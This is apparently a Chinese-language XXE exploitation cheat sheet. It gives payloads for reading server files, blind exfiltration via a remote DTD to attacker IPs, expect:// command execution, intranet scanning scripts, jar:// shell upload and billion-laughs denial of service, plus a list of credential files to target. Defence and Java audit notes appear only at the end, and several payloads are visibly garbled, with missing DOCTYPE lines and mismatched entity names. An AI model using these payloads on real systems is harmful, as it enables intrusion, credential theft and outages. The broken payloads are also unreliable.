一 漏洞检测
1. easy_test
遇与xml交互的地方,使用该payload,如果返回“this is test”,则证明存在xxe漏洞,并且是个有回显的漏洞
<?xml version="1.0" encoding="UTF-8"?>
]><root>&test;</root>2. 添加xml代码
修改Content-Type: application/xmlX-Requested-With: XMLHttpRequest例如,一个普通的请求包:
POST /action HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 7foo=bar可以更改为下面的请求包:
POST /action HTTP/1.0Content-Type: application/xmlContent-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>如果两个请求包的返回包一样那么就存在XXE漏洞
3. 目录
输入任意文件或目录,查看返回包,如返回500“没有那个文件或目录”,或者返回200“文件内容”则存在xxe漏洞
windows<?xml version="1.0" encoding="UTF-8"?>
]>
linux<?xml version="1.0" encoding="UTF-8"?>
]>4. DNSLOG
也可以使用DNSLOG进行测试,使用如下payload,如果dnslog平台能接受到信息,则证明存在xxe漏洞
POST /dorado/view-service HTTP/1.1Host: www.nxzhaj.com:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflatecontent-type: text/xmlContent-Length: 133Connection: closeReferer: http://www.nxzhaj.com:8080/Cookie: JSESSIONID1=6061F2C1A054E8B25D732A1578F6D443
<?xml version="1.0" encoding="utf-8" ?>
]><root>&xxe;</root>二 读取文件
在进行利用之前应该先测试下,目标环境有无回显,是否支持外部实体。
检查是否支持外部实体<?xml version="1.0" encoding="UTF-8"?>
%foo;]>查看服务器是否有请求1. 不同平台支持的协议
注意:jdk1.8开始不再支持gopher协议
| libxml2 | PHP | Java | .NET |
|---|---|---|---|
| file | file | http | file |
| http | http | https | http |
| ftp | ftp | ftp | https |
| php | file | ftp | |
| compress.zlib | jar | ||
| compress.bzip2 | netdoc | ||
| data | mailto | ||
| glob | gopher * | ||
| phar |
2. 有回显
核心原理:
- 攻击者在 XML 的 DTD 中定义一个外部实体。
- 在 XML 数据主体中引用这个实体。
- 服务器解析 XML,读取外部实体的内容(文件/URL),并将其替换到引用处。
- 服务器将处理后的数据(包含文件内容)返回给前端。
场景一:有回显读取普通文件 (Normal XXE)
条件:
-
- 服务器开启了 XML 外部实体解析。
-
- 目标文件是纯文本(如
/etc/passwd、win.ini),不包含 XML 敏感字符(<,>,&)。
- 目标文件是纯文本(如
-
- 引用实体的位置有回显。 攻击逻辑: 利用 SYSTEM 关键字定义外部实体 在 XML 数据区引用该实体 服务器替换并输出。 Payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><user> <name>&xxe;</name></user>场景二:有回显读取特殊文件 (Advanced XXE)
分析
痛点:
如果目标文件包含 XML 保留字符(例如 PHP 源码包含 <?php ... ?>,或者 XML 配置文件包含 <config>...</config>),直接使用上面的 Payload 会失败。
原因:
解析器在替换实体时,会将文件内容直接“粘贴”进去。如果文件内容里有 <,解析器会误以为这是新标签的开始,导致 XML 语法错误(Parse Error),解析中断,无回显。
解决方案:
A:PHP伪协议(Base64)
利用 php://filter 将内容编码为 Base64,使其变成纯字母数字,避开语法解析。
- Payload:
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">B:CDATA 拼接技术
核心思想: 利用 XML 的CDATA语法。在 中的内容,无论包含什么符号,都会被解析器视为“纯文本”,不进行语法检查。
我们希望最终 XML 解析后的样子是这样的:
<user> <name><![CDATA[ ...文件原本的内容... ]]></name></user>(1)构造 Payload 的逻辑陷阱 我们不能直接在 DTD 里这样写:
<!ENTITY all "<![CDATA[" + SYSTEM "file:///etc/passwd" + "]]>">XML DTD 语法不支持用 + 号拼接,也不支持在“值”的部分直接插入 SYSTEM 语句。
(2)XML 语法的两个“铁律”
为了实现拼接,必须利用 参数实体 (%variable;),但这里有两个限制:
- 铁律 1:XML 正文(Root 标签内部)不能定义实体,只能使用。定义动作必须在 DTD 区域完成。
- 铁律 2 (关键):在内部 DTD 子集 (即直接写在 XML 文件里的 DTD) 中,禁止在实体声明内部引用参数实体。
通俗解释: 在 这一块里,你不能写 。解析器会报错。 但是! 这一规则在 外部 DTD 文件 中是不生效的。
(3)解决方案:外部 DTD 拼接
既然内部不让拼,我们就把拼接的动作放到一个远程的 .dtd 文件里去做,然后让主 XML 去加载这个远程文件。
Payload 构造流程 (三步走):
- 定义零部件:在主 Payload 中定义
start(CDATA头) 和end(CDATA尾)。 - 加载外部处理逻辑:调用远程的
evil.dtd。 - 触发执行:在
evil.dtd中完成拼接,生成最终的&all;实体。 【攻击者 VPS】上的evil.dtd
<!ENTITY all "%start;%goodies;%end;">【发送给受害者】的 XML Payload
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE roottag [ <!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attacker-ip/evil.dtd"> %dtd;]>
<roottag>&all;</roottag>(4)执行流程解析
- 解析器看到 XML,进入 DTD 区域。
- 定义参数实体
%start(<![CDATA[)。 - 定义参数实体
%goodies(读取/d:/test.txt的内容)。 - 定义参数实体
%end(]]>)。 - 解析器遇到
%dtd;,发起 HTTP 请求下载evil.dtd。 - 在解析
evil.dtd时:执行<!ENTITY all "%start;%goodies;%end;">。- 此时没有“内部子集”的限制。
&all;的值变成了:<![CDATA[+文件内容+]]>。
- 回到 XML 正文,解析
<roottag>&all;</roottag>。 &all;被展开,其中的特殊字符被 CDATA 保护,成功回显。
payload
<!DOCTYPE root[<!ENTITY xin SYSTEM "file:///C:/Windows/system.ini">]><root><admin>&bigx;</admin></root>
---
<!DOCTYPE root[<!ENTITY % start "<![CDATA["><!ENTITY % goodies SYSTEM "file:///D:/text.txt"><!ENTITY % end "]]>"><!ENTITY % dtd SYSTEM "http://121.89.81.39/evil.dtd">%dtd;]><root><admin>&all;</admin></root>读取本地文件
- 1、Java环境下读取文件 netdoc协议和file协议的作用是一样的,都可以读取文件。
<?xml version="1.0" encoding="UTF-8"?>
]><user><username>&xxe;</username><password>admin</password></user>使用netdoc:跟file:都可以
- 2、PHP环境下读取文件 不支持netdoc协议,可以使用file协议读取文件
- 3、读目录 Java环境下可以使用file协议读取列目录,和ls作用类似 PHP环境下,使用file协议无法读取列目录
3. 无回显
报错利用
通过构造特殊的 XXE 请求来触发服务器的错误响应。通常,当服务器处理错误的 XXE 请求时,会返回一些有关其内部环境的信息。输入任意文件或目录,查看返回包,如返回500“没有那个文件或目录”,则证明文件不存在,如返回200,则证明文件存在。
<?xml version="1.0" encoding="UTF-8"?>%remote;]>外带利用
通过 XXE 请求控制服务器发出的网络请求,尝试让服务器向我们的VPS发起请求,这样就可以直接在VPS上查看请求的结果
引用外部dtd
Payload
%remote;%int;%send; ]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip?p=%file;'>">整个调用过程: 这种攻击方式关键在于构造合适的payload,通过连续调用参数实体,将远程服务器上的test.dtd文件包含进来,然后利用%file实体获取服务器上的敏感文件。最后,通过%send实体将读取到的数据发送到远程VPS上。
无法引用外部dtd
当目标服务器和攻击者之间存在防火墙,或者网络访问受到限制时,可能无法直接引用外部的DTD文件。在这种情况下,使用本地DTD文件是一个很好的替代方案。 要找到本地的DTD文件,可以进行枚举文件和目录。
Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'>%local_dtd;Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"><!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>%local_dtd;<?xml version="1.0" ?>
<!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'>%local_dtd;]><message>any text</message>三 命令执行
目标环境的特殊配置导致XML与某些命令操作关联,从而造成命令执行的可能性。如果目标内部的PHP环境中安装了expect扩展,并且该扩展被加载到了处理XML的内部应用程序上,就可以利用expect来执行系统命令。
Expect扩展是一个用于自动化交互的套件,它可以在执行命令和程序时,模拟用户输入指定的字符串,以实现交互通信。如果能够成功利用这个扩展,就可以通过构造恶意的XML数据,触发命令执行,进而执行任意系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>四 内网主机探测
当我们成功利用了XXE漏洞,下一步就是尝试读取服务器的网络配置文件,以获取内网的相关信息。/etc/network/interfaces、/proc/net/arp和/etc/hosts都是可能包含有用信息的文件。
/etc/network/interfaces:这个文件通常包含服务器的网络接口配置信息,您可以从中找到内网的IP地址和网段。
/proc/net/arp:这个文件保存了地址解析协议(ARP)的缓存表,您可以从中获取到与内网中其他主机进行通信的主机的MAC地址和IP地址。
/etc/hosts:这个文件是Linux系统上的主机文件,用于IP地址和域名的快速解析。您可以查看文件中是否有内网主机的映射关系。/etc/network/interfaces
-
网络接口配置文件(Debian / Ubuntu)
-
包含:IP、网关、网卡名称、DHCP 配置
-
价值:
-
判断内网网段
-
判断是否在云 / 容器 / 内部网络
-
/proc/net/arp
-
ARP 缓存表
-
包含:内网 IP ↔ MAC 映射
-
价值:
-
枚举内网存活主机
-
判断是否存在网关、网桥、容器网络
-
/etc/hosts
-
本地域名解析文件
-
包含:内部域名 → 内网 IP
-
价值:
-
泄露内部服务名称(db、redis、api)
-
为 SSRF / 内网访问提供指引
-
Linux 常见敏感文件分类(重点)
用户与身份信息
| 文件 | 说明 |
|---|---|
/etc/passwd | 用户列表 |
/etc/group | 用户组 |
/etc/shadow | 密码哈希(高权限) |
| 系统与基础环境信息 |
| 文件 | 说明 |
|---|---|
/etc/hostname | 主机名 |
/etc/os-release | 系统版本 |
/proc/version | 内核信息 |
/proc/cpuinfo | CPU 信息 |
| 网络与内网结构(侦察核心) |
| 文件 | 说明 |
|---|---|
/etc/resolv.conf | DNS 服务器 |
/proc/net/route | 路由表 |
/proc/net/arp | 内网主机 |
/etc/network/interfaces | 网卡配置 |
| 进程 / 容器 / 云环境判断(非常重要) |
| 文件 | 说明 |
|---|---|
/proc/1/cgroup | 判断 Docker / K8s |
/proc/self/cgroup | 当前进程环境 |
/proc/1/environ | PID 1 环境变量(核心) |
| 配置文件与凭据(价值最高) |
| 文件 | 说明 |
|---|---|
/var/www/html/.env | Web 应用环境变量 |
/app/.env | 容器应用配置 |
/root/.ssh/id_rsa | SSH 私钥 |
/home/*/.ssh/authorized_keys | 登录授权 |
探测脚本实例
import requestsimport base64
#Origtional XML that the server accepts#<xml># <stuff>user</stuff>#</xml>
def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<user>""" xml = xml + "\r\n" + """ <username>&test;</username>""" xml = xml + "\r\n" + """</user>""" send_xml(xml)
def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://192.168.11.59/doLogin.php', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string# print base64.b64decode(coded_string)for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue五 内网端口扫描
使用以下payload进行端口扫描,通过响应时间来判断端口是否开放,利用Burp Suite等工具设置循环遍历端口,自动化进行端口探测,将扫描出来的资产进行相应端口的漏洞利用。
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]><user><username>&xxe;</username><password>1</password></user>
可使用burpsuite的intruder模块进行遍历六 文件上传
java环境支持jar 协议,可以从远程获取jar文件,然后将其中的内容进行解压 jar协议处理文件的过程
(1) 下载 jar/zip 文件到临时文件中(2) 提取出我们指定的文件(3) 删除临时文件jar:// 协议的格式:
jar:{url}!{path}利用
SYSTEM "jar:http://121.89.81.39/shell.zip!/shell.jsp"可以上传文件,接下来就是找到上传的文件地址, 可以用jar请求一个不存在的文件,这样会报错500,在报错内容就可以找到文件路径。
七 DOS攻击
<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>可以看出,这种EXP,其核心逻辑是通过不断的迭代,从而增大lol9变量的空间。最终可以使得lol9变量大小超过3个G,最终可以撑爆一些小型服务器的内存,从而使得服务器宕机。
八 JSON转换成XML攻击
通常,在Web应用中,客户端通过POST请求向服务器发送数据时,会使用Content-Type头来指明数据的格式,如application/json表示JSON格式,application/xml表示XML格式。
如果攻击者尝试将Content-Type头从合法的格式(如application/json)更改为其他格式(如application/xml),并且服务器未正确实施解析和验证机制,那么攻击者可能会成功地向服务器注入恶意数据。 例如
POST /netspi HTTP/1.1Host: someserver.netspi.comAccept: application/jsonContent-Type: application/xmlContent-Length: 288
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><search>name</search><value>&xxe;</value></root>HTTP Response:
HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/sync....九 绕过姿势
关键词过滤
ENTITY``SYSTEM``file等关键词被过滤
使用编码方式绕过
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml协议过滤
若http被过滤
`data://协议绕过
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> "> %a; %b; ]> <test>&hhh;</test>file://协议加文件上传
<?xml version="1.0" ?><!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a;]><!--上传文件--><!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>php://filter协议加文件上传
<?xml version="1.0" ?><!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a;]> <test> &hhh; </test>
<!--上传文件--><!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'><?xml version="1.0" ?><!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a;]> <test> &hhh; </test><!--上传文件-->PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==十 利用场景
svg
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE note [<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >]><svg height="100" width="1000"> <text x="10" y="20">&file;</text></svg>tips:从当前文件夹读取文件可以使用/proc/self/cwd
excel
首先用excel创建一个空白的xlsx,然后解压
mkdir XXE && cd XXEunzip ../XXE.xlsx将[Content_Types].xml改成恶意xml,再压缩回去
zip -r ../poc.xlsx *十一 防御
禁用外部实体
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))过滤黑名单
过滤关键词:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC其它
-
输入验证:对于所有用户提供的输入,应始终进行严格的验证。仅接受符合预期格式的输入,并拒绝任何不符合预期的输入。
-
最小权限原则:运行解析XML的代码的环境或容器应尽可能以最小的权限运行。这样可以减少潜在的损害,即使攻击者能够触发XXE漏洞。
-
使用安全配置:如果可能,尽量使用安全配置选项。例如,考虑使用静态DTD,避免从不受信任的来源加载外部DTD。
-
输出编码:当输出XML数据时,确保对输出进行适当的编码,以防止任何形式的注入。
十二 审计(Java)
Java常见危险函数
在Java中一般用以下几种常见的接口来解析XML语言
1.XMLReader
XMLReader接口是一种通过回调读取XML文档的接口,其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞。
2.SAXBuilder
SAXBuilder是一个JDOM解析器,其能够将路径中的XML文件解析为Document对象。SAXBuilder使用第三方SAX解析器来处理解析任务,并使用SAXHandler的实例侦听SAX事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞。
3.SAXReader
DOM4J是dom4j.org出品的一个开源XML解析包,使用起来非常简单,只要了解基本的XML-DOM模型,就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包,它有DOMReader和SAXReader两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对XML进行过滤时,其也会出现XXE漏洞。
4.SAXParserFactory
SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法,可以强制使用newInstance()。跟上面介绍的一样,在使用默认解析方法且未对XML进行过滤时,其也会出现XXE漏洞。
5.Digester
Digester类用来将XML映射成Java类,以简化XML的处理。它是ApacheCommons库中的一个jar包:common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的,我们一般需通过Blind XXE的方法来利用
6.DocumentBuilderFactory
javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象,DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。审计方法
通过搜索以下XML的常见关键字,可以快速地对关键代码进行定位
javax.xml.parsers.DocumentBuilderFactory;javax.xml.parsers.SAXParserjavax.xml.transform.TransformerFaoryjavax.xml.validation.Validatorjavax.xml.validation.SchemaFactoryjavax.xml.transform.sax.SAXTransformerFactoryjavax.xml.transform.sax.SAXSourceorg.xml.sax.XMLReaderDocumentHelper.parseTextDocumentBuilderorg.w3c.domorg.xml.sax.helpers.XMLReaderFactoryorg.dom4j.io.SAXReaderorg.jdom.input.SAXBuilderorg.jdom2.input.SAXBuilderjavax.xml.bind.Unmarshallerjavax.xml.xpath.XpathExpressionjavax.xml.stream.XMLStreamReaderorg.apache.commons.digester3.Digesterorg.xml.sax.SAXParseExceptionpublicId